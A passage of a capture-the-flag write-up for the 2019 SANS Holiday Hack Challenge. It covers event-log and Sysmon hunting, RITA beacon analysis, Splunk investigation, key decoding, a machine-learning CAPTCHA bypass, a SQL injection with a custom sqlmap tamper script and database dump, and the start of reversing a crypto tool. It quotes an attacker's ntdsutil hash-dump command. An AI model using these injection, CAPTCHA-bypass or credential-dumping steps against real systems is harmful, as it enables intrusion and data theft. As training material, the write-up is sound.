3. Windows Log Analysis: Evaluate Attack Outcome ๐
Background
We're seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack.
Have you taken a look at the password spray attack artifacts?
I'll bet that DeepBlueCLI tool is helpful.
You can check it out on GitHub.
It was written by that Eric Conrad.
He lives in Maine - not too far from here!
Bushy Evergreen is hanging out in the train station and may be able to help you out.
Deep Blue CLI on Github: Github page for DeepBlueCLI
Deep Blue CLI Posting: Eric Conrad on DeepBlueCLI
Solution
This challenge requires a Windows system. You can use a free test VM from Microsoft.
We download the data, install DeepBlueCLI, and then get cracking in a Powershell session. Running DeepBlue outputs alerts for several password spray attacks:
.\DeepBlue.ps1 Security.evtx Date : 11/19/2019 4:22:46 AM Log : Security EventID : 4648 Message : Distributed Account Explicit Credential Use (Password Spray Attack) Results : The use of multiple user account access attempts with explicit credentials is an indicator of a password spray attack. Target Usernames: ygoldentrifle esparklesleigh hevergreen Administrator sgreenbells cjinglebuns tcandybaubles bbrandyleaves bevergreen lstripyleaves gchocolatewine wopenslae ltrufflefig supatree mstripysleigh pbrandyberry civysparkles sscarletpie ftwinklestockings cstripyfluff gcandyfluff smullingfluff hcandysnaps mbrandybells twinterfig civypears ygreenpie ftinseltoes smary ttinselbubbles dsparkleleaves Accessing Username: - Accessing Host Name: -
However, we're looking for the user account that was compromised with the password spray attack. As the attacker is trying passwords against a large number of accounts, any accounts with successful logins will have been compromised. To find successful authentications, we turn to our new-found Powershell-fu, parsing the log and filtering on event ID 4624 (successful login):
Get-WinEvent -Path .\Security.evtx -FilterXPath "*[System[EventID=4624]]" ProviderName: Microsoft-Windows-Security-Auditing TimeCreated Id LevelDisplayName Message ----------- -- ---------------- ------- 11/19/2019 4:23:47 AM 4624 Information An account was successfully logged on.... 11/19/2019 4:23:41 AM 4624 Information An account was successfully logged on.... ... 11/19/2019 4:21:34 AM 4624 Information An account was successfully logged on.... 8/23/2019 5:00:41 PM 4624 Information An account was successfully logged on.... 8/23/2019 5:00:20 PM 4624 Information An account was successfully logged on....
We see some successful logins, around the same time as the password spray attack. We'll rerun the previous search, this time using Select-Object
to format the output with some additional fields:
Get-WinEvent -Path .\Security.evtx -FilterXPath "*[System[EventID=4624]]" | Select-Object -Property TimeCreated,MachineName,@{ Name='TargetAccountName';Expression={$_.Properties[5].Value}},@{ Name='WorkstationName';Expression={$_.Properties[11].Value}} TimeCreated MachineName TargetAccountName WorkstationName ----------- ----------- ----------------- --------------- 11/19/2019 4:23:47 AM DC1.elfu.org DC1$ - 11/19/2019 4:23:41 AM DC1.elfu.org DC1$ - 11/19/2019 4:23:05 AM DC1.elfu.org supatree WORKSTATION 11/19/2019 4:22:41 AM DC1.elfu.org DC1$ - 11/19/2019 4:22:25 AM DC1.elfu.org DC1$ - 11/19/2019 4:22:25 AM DC1.elfu.org DC1$ - 11/19/2019 4:22:25 AM DC1.elfu.org DC1$ - 11/19/2019 4:22:25 AM DC1.elfu.org DC1$ - 11/19/2019 4:22:25 AM DC1.elfu.org DC1$ - 11/19/2019 4:21:46 AM DC1.elfu.org DC1$ - 11/19/2019 4:21:46 AM DC1.elfu.org DC1$ - 11/19/2019 4:21:45 AM DC1.elfu.org supatree DC1 11/19/2019 4:21:41 AM DC1.elfu.org DC1$ - 11/19/2019 4:21:34 AM DC1.elfu.org pminstix WORKSTATION 8/23/2019 5:00:41 PM DC1.elfu.org DC1$ - 8/23/2019 5:00:20 PM DC1.elfu.org pminstix WORKSTATION
We've narrowed it down to two users: pminstix
and supatree
. Of these, only supatree
shows up in the DeepBlue password spraying alert list of usernames, which is our answer.
4. Windows Log Analysis: Determine Attacker Technique ๐๐
Background
Using these normalized Sysmon logs, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process.
Have you tried the Sysmon and EQL challenge?
If you aren't familiar with Sysmon, Carlos Perez has some great info about it.
Haven't heard of the Event Query Language?
Check out some of Ross Wolf's work on EQL or that blog post by Josh Wright in your badge.
For hints on achieving this objective, please visit Hermey Hall and talk with SugarPlum Mary.
Sysmon: Sysmon By Carlos Perez
Event Query Language: EQL Threat Hunting
Solution
Our solution follows Josh's blog post pretty closely. We know the
attacker used the lsass.exe
process to launch a tool to retrieve
password hashes. Our first search is for programs with a parent
process of lsass.exe
. We pipe the output into jq
for formatting:
eql query -f sysmon-data.json "process where parent_process_name = 'lsass.exe'" | jq "{process_name,parent_process_name,command_line,pid}" { "process_name": "cmd.exe", "parent_process_name": "lsass.exe", "command_line": "C:\\Windows\\system32\\cmd.exe", "pid": 3440 }
lsass
launched a single process, a command prompt. Let's see what commands were issued via the command prompt by looking for processes with a parent process id ("ppid") of our cmd.exe
process:
eql query -f sysmon-data.json "process where ppid = 3440" | jq "{process_name,parent_process_name,command_line,pid}" { "process_name": "ntdsutil.exe", "parent_process_name": "cmd.exe", "command_line": "ntdsutil.exe \"ac i ntds\" ifm \"create full c:\\hive\" q q", "pid": 3556 }
The tool was ntdsutil.exe
.
Looking at commands run with other cmd.exe
invocations, we see some
bad-looking Powershell, and a password spraying attack. We can even
tell that supatree's password was Passw0rd1
when they fell victim to
the spraying attack, as the attacker runs net use \\\\127.0.0.1\\IPC$
/user:ELFU\\supatree Passw0rd1
to try to mount a fileshare with that
username and password, then runs net use /delete \\\\127.0.0.1\\IPC$
to unmount it.
5. Network Log Analysis: Determine Compromised System ๐๐
Background
The attacks don't stop! Can you help identify the IP address of the malware-infected system using these Zeek logs?
For objective 5, have you taken a look at our Zeek logs?
Something's gone wrong. But I hear someone named Rita can help us.
Can you and she figure out what happened?
For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.
RITA: RITA's homepage
Solution
We download the provided ZIP file, and extract it. In the archive, we
find the standard Zeek logs for about 21 hours in August 2019. We also
see a directory named ELFU
, which has RITA output. Since the hint
told us to use RITA, we'll pursue that.
Opening index.html
gives us a summary of what RITA found. We have a
number of tabs at the top, including Beacons and Long Connections. We
have the same IP address at the top of both of those lists,
192.168.134.130.
In the beaconing detection, that IP's activity to 144.202.46.214 has a
score of 99.8%. If we search for those IP addresses in the Zeek conn
logs (fgrep 144.202.46.214 conn.* | fgrep 192.168.134.130
), we find a service of http
, so we dig deeper in the http logs.
Like clockwork, we see HTTP POST requests every 10 seconds from
192.168.134.130 to
http://144.202.46.214/504vsa/server/vssvc.php. Unforunately, our logs
begin with that activity, so we can't determine how the system was
compromised, but we're reasonably compromised that 192.168.134.130
is compromised.
6. Splunk ๐๐๐
Background
Access https://splunk.elfu.org/ as elf
with password
elfsocks
. What was the message for Kent that the adversary
embedded in this attack?
Kent said that my computer has been hacking other computers on campus and that I needed to fix it ASAP!"
If I don't, he will have to report the incident to the boss of the SOC.
The SOC folks at that link will help you along!
For hints on achieving this objective, please visit the Laboratory in Hermey Hall and talk with Prof. Banas.
SIEM Basics: The Elf U SOC can always use more analysts. No experience required, just a willingness to learn.
SIEM Basics TOO: The analysts stay in close contact on their private chat system. You'll find the help you need there.
SIEM Basics THREEE: The SOC uses some neat tools that James Brodsky spoke about in his KringleCon 2 talk: "Dashing Through the Logs"
Training Question Solutions
We login to Splunk with the provided credentials, and are greeted with
some instructions about the challenge. The Elf University SOC has a
secure chat service, where we get some tips from Kent and the SOC
channel. In fact, the conversation in the #ELFU SOC channel gives us our first answer, sweetums
.
Figure 18: 'sweetums' communicating with the same weird IP
We've identified the system, now we wish to know the file that was accessed. At this point, we start chatting with Alice Bluebird, who is the only other chat we have messages in. She gives us some resources, including links to the search and raw files that she tells us we'll need for the challenge question.
For the next training question, she gives us an example search
(index=main cbanas
), and tells us to modify it to search for his
name. It's unclear which name she's referring to, but she just told us
that the Professor is close with Santa, so searching index=main santa
gives us a few logs. The first one is a Powershell script
referencing an intriguing file:
C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt
Figure 19: Santa e-mailing Prof. Carl Banas the draft Naughty & Nice list
Alice mentions the download of a scanning tool. Using a search of:
index=main sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventDescription="File Created"
,
we find a download of nmap.zip
.
Figure 20: nmap.zip file created
Our next task is to identify the C2 server. Alice gets us most of the
way there, with the following search: index=main sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" powershell EventCode=3
. We just need to identify the field that
contains the FQDN of the server Powershell is connecting
to. DestinationHostname
seems like a good bet, and we find a single
value there, 144.202.46.214.vultr.com
.
Figure 21: Identifying the C2 server
Alice walks us through most of the next question, finding events that
happen shortly before and after the earliest Powershell
invocation. Drilling down on Sysmon data (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
),
we look at unique process IDs, and find two: 6268 and 5864. Alice
prompts us to find what created those processes (using Event ID 4688),
and reminds us that we might need to correlate process IDs in
hexadecimal with process IDs in decimal.
Figure 22: Two process IDs
Alice provides us a link to search Event ID 4688 ("A new process has
been created") on the Windows logs, while also removing the time
constraint. We tweak her search to evaluate the hex process_ids to decimal so we can match them against our two process IDs.
index=main sourcetype=WinEventLog EventCode=4688 | eval decimal_pid=tonumber(process_id, 16) | search (decimal_pid=6268 OR decimal_pid=5864)
This uses a function described in the YouTube video, to help us convert between hexadecimal and decimal, and then we search for the two process IDs we previously found.
Figure 23: WINWORD.EXE 19th Century Holiday Cheer Assignment.docm
We can tell that a macro-enabled Word document (with a .docm extension) spawned the Powershell instance.
For our next question, Alice gives us a search against the stoQ data, and tells us some additional constraints. We modify her search to add a constraint on the mail subject line (thus ignoring the replies):
index=main sourcetype=stoq "results{}.workers.smtp.subject"="holiday cheer assignment submission" | table _time results{}.workers.smtp.to results{}.workers.smtp.from results{}.workers.smtp.subject results{}.workers.smtp.body | sort - _time
Figure 24: 21 Holiday Cheer Assignment submissions
With what we know so far, the next question is pretty easy. To recover the password for the ZIP file (which contains the malicious Word document), we search the stoQ data for our filename: index=main sourcetype=stoq "19th Century Holiday Cheer Assignment.docm"
StoQ observed the e-mail (SMTP) transaction, in which Bradly
Buttercups instructed Prof. Banas on how to open the file. In this
same message, we see the sender of the malicious file, which has an
e-mail that's not quite right. In this domain look-alike attack,
instead of elfu.org
, the message comes from eifu.org
,
Figure 25: Password is 123456789, e-mail is bradly.buttercups@eifu.org (sic)
To review our training questions:
# | Question | Answer | Method |
---|---|---|---|
1 | What is the short host name of Professor Banas' computer? | sweetums | SOC chat |
2 | What is the name of the sensitive file that was likely accessed and copied by the attacker? | C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt | Searching 'santa' |
3 | What is the fully-qualified domain name(FQDN) of the command and control(C2) server? | 144.202.46.214.vultr.com | DestinationHostname on Alice's search |
4 | What document is involved with launching the malicious PowerShell code? | 19th Century Holiday Cheer Assignment.docm | Sysmon and Powershell process creation events |
5 | How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? | 21 | stoQ SMTP events |
6 | What was the password for the zip archive that contained the suspicious file? | 123456789 | stoQ SMTP events w/ malicious filename |
7 | What email address did the suspicious file come from? | bradly.buttercups@eifu.org | same stoQ event as question 6 |
Challenge Question Solution
What was the message for Kent that the adversary embedded in this attack?
Alice gives us some guidance on getting started, including a search with a single event to start from, and then a Splunk incantation to retrieve the path to artifacts from that file. We tweak her search a bit, to give us the URL of the files directly:
index=main sourcetype=stoq "results{}.workers.smtp.from"="bradly buttercups" | eval results = spath(_raw, "results{}") | mvexpand results | eval path=spath(results, "archivers.filedir.path"), filename=spath(results, "payload_meta.extra_data.filename"), url="https://elfu-soc.s3.amazonaws.com/stoQ%20Artifacts".path | search path!="" | table filename,url
There's a lot going on here. First, we start with the stoQ event from
the malicious sender. stoQ has expanded our ZIP (the video says that
at Elf U, stoQ will try to open ZIP files using a number of common
passwords), and examined the files contained within. The results of
that examination (and the links to where the files have been stored as
artifacts) are contained in the event, in JSON format, under the
results
key.
To access each item in the list, we run eval results = spath(_raw, "results{}")
.
This will extract _raw["results"]
, and the results{}
notation will
cause Splunk to return an item for each result in the list.
For more information about this step, see spath: Using wildcards in place of an array index.
Next, we call mvexpand results
, which will turn our "multivalue"
field into separate events. This way, we treat each file contained in
the archive as a separate Splunk event.
We have another eval
function, to copy some values into fields that
are easier to deal with. path=archivers.filedir.path
and
filename=payload_meta.extra_data.filename
. We also create a new
variable, url
, which will have the direct path to the artifact on
the elfu-soc S3 bucket.
We only want events from which an artifact was stored, so we specify
search path!=""
, and finally we display this as a table of
filename
and url
, allowing us to quickly drill down on the
interesting files.
Our first target is the Word document itself, "19th Century Holiday Cheer Assignment.docm," but that file has been sanitized, as Alice wouldn't put actual malicious executable content into this exercise. In its place, we see:
Cleaned for your safety. Happy Holidays!
In the real world, This would have been a wonderful artifact for you to investigate, but it had malware in it of course so it's not posted here. Fear not! The core.xml file that was a component of this original macro-enabled Word doc is still in this File Archive thanks to stoQ. Find it and you will be a happy elf :-)
Using this hint, we grab core.xml instead, which contains:
<?xml version="1.0" encoding="utf-8" standalone="yes"?> <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <dc:title>Holiday Cheer Assignment</dc:title> <dc:subject>19th Century Cheer</dc:subject> <dc:creator>Bradly Buttercups</dc:creator> <cp:keywords></cp:keywords> <dc:description>Kent you are so unfair. And we were going to make you the king of the Winter Carnival.</dc:description> <cp:lastModifiedBy>Tim Edwards</cp:lastModifiedBy> <cp:revision>4</cp:revision> <dcterms:created xsi:type="dcterms:W3CDTF">2019-11-19T14:54:00Z</dcterms:created> <dcterms:modified xsi:type="dcterms:W3CDTF">2019-11-19T17:50:00Z</dcterms:modified> <cp:category></cp:category> </cp:coreProperties>
With that, we find the answer to our challenge question:
Figure 26: "That's unfair. And we were gonna make you carnival king."
7. Get Access To The Steam Tunnels ๐๐๐
Background
Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name.
Have you played with the key grinder in my room? Check it out!
It turns out: if you have a good image of a key, you can physically copy it.
Maybe you'll see someone hopping around with a key here on campus.
Sometimes you can find it in the Network tab of the browser console.
Deviant has a great talk on it at this year's Con.
He even has a collection of key bitting templates for common vendors like Kwikset, Schlage, and Yale.
For hints on achieving this objective, please visit Minty's dorm room and talk with Minty Candy Cane.
Key Bitting: Optical Decoding of Keys
Bitting Templates: Deviant's Key Decoding Templates
Solution
After talking with Minty, we go to her room to check out the grinder. Someone is jumping around, and heads into her closet. There's a portrait of Einstein on the wall, and we suddenly feel like the eyes are moving, and someone is watching us from behind the wall! We try to follow the mysterious character into the closet, but they've disappeared! We notice something strange about the back wall, and clicking on it brings up a keyring and a Schlage lock.
Figure 27: "There's a guy in our closet."
Minty gave us a hint about the Network tab of the browser console. Turning to that now, we see our mysterious character in an image called "Krampus." Taking a closer look, we see a key hanging on their left side. Seems like we have a key to copy…
We start by downloading Deviant's Schlage key template, as this matches the lock in the closet. We crop Krampus to just the key, and rotate it to match. We resize the image to increase the pixels per inch, to make it a bit easier to work with.
Next, we load the template, line it up with the top and bottom of the key, and simply read off the depths:
Figure 28: "I followed him into the closet, down into the tunnels."
We use Minty's handy key-cutting machine to create this key, go into the closet, click on the keyring to choose the key, and then put it into the lock.
Figure 29: "But Iโve got to cut them, and that takes time."
After solving this objective we gain access to the steam tunnels via our badge. This makes getting around a lot easier.
Figure 30: "Iโm gonna end up in a tunnel?"
8. Bypassing the Frido Sleigh CAPTEHA ๐๐๐
Background
In the tunnels behind and under Minty's completely normal closet, Krampus lays out the following challenge for us:
Bypass the CAPTEHA (elf CAPTCHA) and submit many entries in the Frito Sleigh contest
Tell you what โ if you can help me beat the Frido Sleigh contest (Objective 8), then I'll know I can trust you.
The contest is here on my screen and at fridosleigh.com.
No purchase necessary, enter as often as you want, so I am!
They set up the rules, and lately, I have come to realize that I have certain materialistic, cookie needs.
Unfortunately, it's restricted to elves only, and I can't bypass the CAPTEHA.
(That's Completely Automated Public Turing test to tell Elves and Humans Apart.)
I've already cataloged 12,000 images and decoded the API interface.
Can you help me bypass the CAPTEHA and submit lots of entries?
For hints on achieving this objective, please talk with Alabaster Snowball in the Speaker Unpreparedness Room.
Machine Learning: Machine Learning Use Cases for Cyber Security
Solution
We first investigate https://fridosleigh.com manually. The CAPTEHA is pretty difficult, and even tricks like messing with the client-side timer won't bypass the server-side time requirement.
Krampus has done a lot of the heavy lifting for us, in providing us training images for our machine learning model, and in writing a script to interact with the website. Chris Davis' talk from Alabaster's hint walks us through the rest, and even links us to a GitHub repo with some very useful code:
Figure 31: Video screenshot
To complete this objective, we need to train our model with the 12,000 images provided, and then combine a script from Chris with the script from Krampus.
To train our model, we follow the instructions in the repository
README: python3 retrain.py --image_dir ./training_images/
. This
takes a bit of time.
In order for Krampus' script to use the prediction model, we'll copy the necessary bits of code over. After a bit of hacking, our script looks like this, with the following code snippets in MISSING CODE… GOES HERE:
import base64 from img_rec_tf_ml_demo import predict_images_using_trained_model as predict import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' import tensorflow as tf tf.logging.set_verbosity(tf.logging.ERROR) import numpy as np import threading import queue import time import sys #### The following is shamelessly stolen from predict_images_using_trained_model.main: # Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory graph = predict.load_graph('/tmp/retrain_tmp/output_graph.pb') labels = predict.load_labels("/tmp/retrain_tmp/output_labels.txt") # Load up our session input_operation = graph.get_operation_by_name("import/Placeholder") output_operation = graph.get_operation_by_name("import/final_result") sess = tf.compat.v1.Session(graph=graph) # Can use queues and threading to spead up the processing q = queue.Queue() yourREALemailAddress = "vlad@gmail.com"
This is just copying imports and load functionality from the ML script. We also make sure to provide our actual e-mail address.
#Going to interate over each of our images. for image in b64_images: while len(threading.enumerate()) > 10: time.sleep(0.0001) #predict_image function is expecting png image bytes so we read image as 'rb' to get a bytes object image_bytes = base64.b64decode(image['base64']) threading.Thread(target=predict.predict_image, args=(q, sess, graph, image_bytes, image['uuid'], labels, input_operation, output_operation)).start() print('Waiting For Threads to Finish...') while q.qsize() < len(b64_images): time.sleep(0.001) #getting a list of all thread-returned results prediction_results = [q.get() for x in range(q.qsize())] final_answer = ','.join([p['img_full_path'] for p in prediction_results if p['prediction'] in challenge_image_types])
This is a bit more complicated than it needs to be, since we're using threading to speed up the process. All we're doing, though, is feeding the bytes from the image that Krampus' code downloaded to the prediction script from the video, and then submitting the result of the prediction.
We loop over all the images that the server sent, and then call
predict_image
on the base64-decoded image. predict_image
will
return the name of the image type (e.g. Stockings, Santa Hats). If the
name is the list of types the server wants us to select
(challenge_image_types
), we add it to the list we'll be submitting.
After a bit, we're told that we won, and we receive an e-mail with our code!
Figure 32: You're a Winner!
9. Retrieve Scraps of Paper from Server ๐๐๐๐
Background
Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system?
Have you had any luck retrieving scraps of paper from the Elf U server?
You might want to look into SQL injection techniques.
OWASP is always a good resource for web attacks.
For blind SQLi, I've heard Sqlmap is a great tool.
In certain circumstances though, you need custom tamper scripts to get things going!
For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.
SQL Injection: SQL Injection from OWASP
SQLMap Tamper Scripts: Sqlmap Tamper Scripts
Solution
To start, we can visit the site and submit an application to get a feel for the site. Filling in the random data and submitting it, we get a message that our application was accepted. Submitting using the same email address again, we see a message that gives us an error indicating the the email address is probably a unique key in the database.
Figure 33: Duplicate Email
The fact that the site is displaying the failed SQL to us is a good indication it will be vulnerable to SQL injection. Using the email address again, we can also check our application status:
Figure 34: Application Pending
Playing around a bit manually, let's try a simple injection, by finishing the SQL command );
and commenting out the rest /*
.
Figure 35: First SQLi attempt
Figure 36: Error Shows MariaDB
Well, it didn't work, however we did learn that the backend is using MariaDB. A quick Google search reveals three ways to make a valid comment. One of which is two dashes followed by a space:
Figure 37: SQLi with Correct Comment
Figure 38: Error: Wrong Number of Columns
Only problem now is our column count is off, any easy fix. We could add all the data we want in this field, but in this case it's easier to just submit it down below. Don't forget the added column for the application status:
Figure 39: Correct Column Count w/ Injection
Figure 40: Duplicate Key Again
Looks like we've got a valid query again, we just hit the duplicate email address. Let's try again with a different email and also change our application status to 'accepted'.
Figure 41: Attempt to Force an Accepted Application
Figure 42: Application Processed
SQLMAP
Okay, that was fun, but it's time to get down to business. We opt to attack the application check form (since it's smaller) and by using the Network tab in our browser's console, we can view the query string parameters that is issued, and copy it as a CURL command:
Figure 43: The HTTP query parameters
The parameters have the submitted elfmail field, as well as an additional one, token
. Poking around in the source code a bit, we notice the following Javascript snippet:
function submitApplication() { console.log("Submitting"); elfSign(); document.getElementById("check").submit(); } function elfSign() { var s = document.getElementById("token"); const Http = new XMLHttpRequest(); const url='/validator.php'; Http.open("GET", url, false); Http.send(null); if (Http.status === 200) { console.log(Http.responseText); s.value = Http.responseText; } }
Submitting the application is a two-step process: a request to validator.php
, which returns a token, and the actual submission. Let's see if we can duplicate this behavior:
$ curl -s https://studentportal.elfu.org/validator.php MTAwODc1ODE5NjQ4MTU3NjE4NDY4MjEwMDg3NTgxOS42NDg=_MTI5MTIxMDQ5MTQ5NDQzMjI4MDI2MjI4LjczNg==
That seems to match the token that was observed in the Network traffic. However, we notice that the token changes with almost every request (likely time based).
Pepper Minstix gave us a hint to use Sqlmap, which is easy to install
(brew install sqlmap
on MacOS). Needing the token certainly adds a wrinkle into it, though. Looking at the documentation, we can identify a few options which seem useful:
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") --eval=EVALCODE Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()") --tamper=TAMPER Use given script(s) for tampering injection data
We can update the token parameter with every request using --eval
. We run the following Python code:
import urllib3 http = urllib3.PoolManager() token=http.request('GET','https://studentportal.elfu.orgvalidator.php').data.decode('utf-8')
We can run it as one-liner on our sqlmap
command with:
sqlmap -u "https://studentportal.elfu.org/application-check.php?elfmail=mtaylor2%40lasers.com&token=" \ --eval "import urllib3; http=urllib3.PoolManager(); \ token=http.request('GET','https://studentportal.elfu.orgvalidator.php').data.decode('utf-8')"
However, since we were told we might need to use a tamper script we'll
proceed down that path instead. It also makes the command line a lot
easier to read. Looking through some of sqlmap's included tamper
scripts it becomes clear we'll need to write a python script that
defines a tamper
function that passes along the current payload as
an argument. We can either put that in the normal tamper directory or
in its own directory along with an empty __init__.py
file.
First (Failed) Attempt:
import urllib3 def tamper(payload, **kwargs): retVal = payload http=urllib3.PoolManager() token=http.request('GET', 'https://studentportal.elfu.org/validator.php').data.decode('utf-8') retVal = payload + '&token=' + token return retVal
sqlmap -u "https://studentportal.elfu.org/application-check.php?elfmail=mtaylor2%40lasers.com&token=" \ --tamper elfutamper/elfutamper.py
Okay, this didn't work and we need to figure out why. We could setup a proxy to see what traffic sqlmap is sending, but it turns out sqlmap comes with some great verbosity options. Using -v4
we can spot the problem:
Figure 44: SQLMAP Verbose Output
The PAYLOAD looks correct, but sqlmap clearly encoded it, including our '&token=' parameter. Conveniently, there's another good sqlmap option:
--skip-urlencode Skip URL encoding of payload data
There's a catch. We need to keep '&token=' decoded, but encode the rest. We can handle that in our tamper script!
import urllib3 from urllib.parse import quote def tamper(payload, **kwargs): retVal = payload http=urllib3.PoolManager() token=http.request('GET', 'https://studentportal.elfu.org/validator.php').data.decode('utf-8') retVal = quote(payload) + '&token=' + quote(token) return retVal
Using quote()
we specifically URL encode the payload and the token, but leave our parameter name alone.
Our sqlmap command becomes this:
sqlmap -u "https://studentportal.elfu.org/application-check.php?elfmail=mtaylor2%40lasers.com&token=" \ --tamper elfutamper/elfutamper.py --skip-urlencode
There are a couple questions we'll need to answer (which you may have encountered already in previous attemtps):
[14:10:26] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS are you sure that you want to continue with further target testing? [Y/n]
Y. "You bet your a** I wish to proceed." –Theo
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
The default 'Y' is good because there's no reason to waste time.
GET parameter 'elfmail' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
Good news! Our elfmail
parameter is vulnerable, no need to continue. Sqlmap has conveniently saved this state for us, so further actions won't need to repeat the testing to find the vulnerable parameter again.
In fact, running the exact same command again just gives us the summary of our parameter and how it's vulnerable:
Figure 45: SQLmap Resume Details
Extracting the Database
Using our saved state and known vulnerable parameter we can continue using sqlmap to enumerate the names of existing databases and dump the data. A couple additional few options will be used.
--dbs Enumerate DBMS databases --dump Dump DBMS database table entries -D DB DBMS database to enumerate --threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
sqlmap -u "https://studentportal.elfu.org/application-check.php?elfmail=mtaylor2%40lasers.com&token=" \ --tamper elfutamper/elfutamper.py --skip-urlencode --dbs --threads=4
The --dbs
flag will enumerate the databases for us while --threads
will just help make it go faster.
Figure 46: Available Databases
Looks like we have two databases: elfu and information_schema.
sqlmap -u "https://studentportal.elfu.org/application-check.php?elfmail=mtaylor2%40lasers.com&token=" \ --tamper elfutamper/elfutamper.py --skip-urlencode --dbs -D elfu --dump
We've added -D elfu
as the database we want to dump data from and --dump
to take that action.
Figure 47: Krampus Table Enumeration
Sqlmap spits out a lot of data as it enumerates the tables, but we caught those image names in the output. (If we had missed it, sqlmap will still store a copy in its local state.)
Those images can be directly accessed on the studentportal server:
https://studentportal.elfu.org/krampus/0f5f510e.png https://studentportal.elfu.org/krampus/1cc7e121.png https://studentportal.elfu.org/krampus/439f15e6.png https://studentportal.elfu.org/krampus/667d6896.png https://studentportal.elfu.org/krampus/adb798ca.png https://studentportal.elfu.org/krampus/ba417715.png
Figure 48: Fixed Tooth Letter
Super Sled-o-matic.
We're not going to say that the background image looks like a giant tooth, but it totally does.
10. Recover Cleartext Document ๐๐๐๐๐
Background
The Elfscrow Crypto tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can't send you the source, but we do have debug symbols that you can use.
Recover the plaintext content for this encrypted document. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.
What is the middle line on the cover page? (Hint: it's five words)
On a completely unrelated note, digital rights management can bring a hacking elf down.
That ElfScrow one can really be a hassle.
It's a good thing Ron Bowes is giving a talk on reverse engineering!
That guy knows how to rip a thing apart. It's like he breathes opcodes!
For hints on achieving this objective, please visit the NetWars room and talk with Holly Evergreen.
Reverse Engineering: Reversing Crypto the Easy Way
Solution
For this objective, we found Ron Bowes's talk, "Reversing Crypto the Easy Way," to be quite informative.
We start by playing with the elfscrow.exe binary to see what it does. We downloaded a free test VM of Windows 10, not just because we don't have Windows installed, but it's always a good idea to execute "unknown" binaries in an isolated environment (though we do trust the HHC team). Running 'elfscrow.exe' the first time we can see a list of available options:
Figure 49: First run of elfscrow.exe
Well, we can't decrypt anything yet because we don't know the key, but perhaps encrypting our own file will lead to some information.
Figure 50: Elfscrow.exe –encrypt test
This gives us two very important pieces of information. First, the initial seed appears to be unix epoch time. If you run the process quickly in succession you'll get the same key. That doesn't mean it's the final seed, but it is a starting point. The second important point is that the key is only 8 bytes long. As a result of the 8-byte key, Ron tells us in his talk that there's a very good chance the encryption scheme uses DES.
Using the --insecure
flag we can even see the secret ID being uploaded to the elfscrow server in clear text using Wireshark (just like the instructions warned us).
Figure 51: Elfscrow.exe key upload failure
In fact, if attempt to upload the same thing twice, you will get a rejection from the elfscrow server:
Figure 52: Elfscrow.exe key upload failure
At this point, we focus on a few specific goals:
Determine the seed
Determine the cipher and mode (if an IV is needed, what is it?)
How can we verify the encryption key is correct?
IDA Setup
For the next phase of the investigation we downloaded the free version of IDA. While loading the binary, IDA automatically detects the path where it's supposed to find the PDB debug file:
Figure 53: PDB file path
Since ours isn't in that location, we can just load the PDB file via the menu.
Figure 54: PDB file load in IDA
Strictly speaking we don't need the debugging information, but it's definitely easier when we can look for functions by name and see comments. Our goal is to figure out what happens when elfscrow.exe generates a new key, so we have to execute the program with the right options. IDA allows us to set those options:
Figure 55: Setting Process Options in IDA
We'll use the same options we used on the command line (–encrypt test.txt test.enc), but we haven't actually run the program yet.
Figure 56: Setting Process Options in IDA
Note that we aren't actually asking IDA to execute yet, just getting things ready.
Generate Key Function
Taking a quick look at the function names on the left we see generate_key
right there! By clicking on the generate_key
function name, IDA will bring up its process flow:
Figure 57: Locating the generate_key() function
Let's look at generate_key()
a little closer.
Figure 58: generate_key() details
- This is definitely where we want to be. First we can see where the
Our miniature elves...
line is printed to the console like we saw in our sample runs. - Here is the call to
time()
which gets stored ineax
. - Normally we'd probably see a call to
srand()
, but instead we seesuper_secret_srand()
. Let's click on that and take a look. - The last thing that happens before moving on is we set the local variable
var_4
to 0. We'll come back to this later.
Figure 59: super_secret_srand() details
- Not a whole lot here, but we can see
Seed = %d\n\n
get printed. We expected this from the initial output as well.
Of note is that super_secret_srand()
didn't actually call srand()
, but it's possible we'll see it later in the key generation (hot tip: we don't). At this point we know generate_key()
still has unix time as its seed and we're expecting to see a printf()
for Generated an encryption key...
.
To help us follow the code path, we're going to set a breakpoint and actually execute the program so we can step through each instruction. Going back to the generate_key()
function, we set a break point right after the call to super_secret_srand()
:
Figure 60: Set breakpoint after super_secret_srand()
The breakpoint was set by clicking on the line and then the breakpoint icon .
Now, for the first time in IDA, we'll execute the program by hitting the little green 'play' triangle.
Figure 61: Execute program
The elfscrow.exe program will execute up to our breakpoint and stop.
Figure 62: Execute program to breakpoint
At this point we can step through the program using these buttons:
Figure 63: Step buttons
Various uses of the step ability are useful to see how variables change without getting too bogged down in things like calls to printf()
.
Figure 64: Key Generation Loop, Part 1
At the end of generate_key()
it splits off into a loop.
- Remember when we set
var_4
to 0? That is like settingi=0
and thiscmp
instruction is comparingvar_4
(ori
